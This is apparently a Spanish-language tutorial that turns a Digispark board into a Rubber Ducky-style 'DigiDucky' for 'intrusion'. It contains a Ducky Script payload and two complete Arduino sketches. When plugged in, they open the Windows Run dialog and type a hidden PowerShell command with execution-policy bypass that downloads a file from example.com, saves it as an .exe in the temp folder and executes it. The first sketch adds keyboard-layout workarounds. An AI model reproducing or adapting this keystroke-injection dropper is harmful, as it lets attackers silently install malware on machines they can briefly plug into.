[Rubber Ducky] DigiDucky desde 0 hasta la intrusion.

GUI r
DELAY 100
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
ENTER

#include "DigiKeyboard.h"

#define KEY_MODIFIER_LEFT_GUI 0x08

int ciclos = 0;

void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}

void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado

  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia

    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
    
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R

    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)

    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@(< Start/Process @$env>temp");
    DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
    DigiKeyboard.print("bob.exe@@");

    DigiKeyboard.delay(100); // Esperamos 100ms

    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
    
    DigiKeyboard.delay(100); //Esperamos 100ms
  }

//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH); 
  delay(150);
  digitalWrite(1, LOW); 
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}

#include "DigiKeyboard.h"

#define KEY_MODIFIER_LEFT_GUI 0x08

int ciclos = 0;

void setup() {
  pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
}

void loop() {
  DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado

  if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
    DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia

    DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
    
    //Codigo Payload: GUI r
    DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R

    //Codigo Payload: DELAY 100
    DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)

    //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
    DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");

    DigiKeyboard.delay(100); // Esperamos 100ms

    //Codigo Payload: ENTER
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
    
    DigiKeyboard.delay(100); //Esperamos 100ms
  }

//SEÑAL LUMINICA (PARPADEO)
//Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  delay(150);
  digitalWrite(1, HIGH); 
  delay(150);
  digitalWrite(1, LOW); 
//SEÑAL LUMINICA
     
  ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
}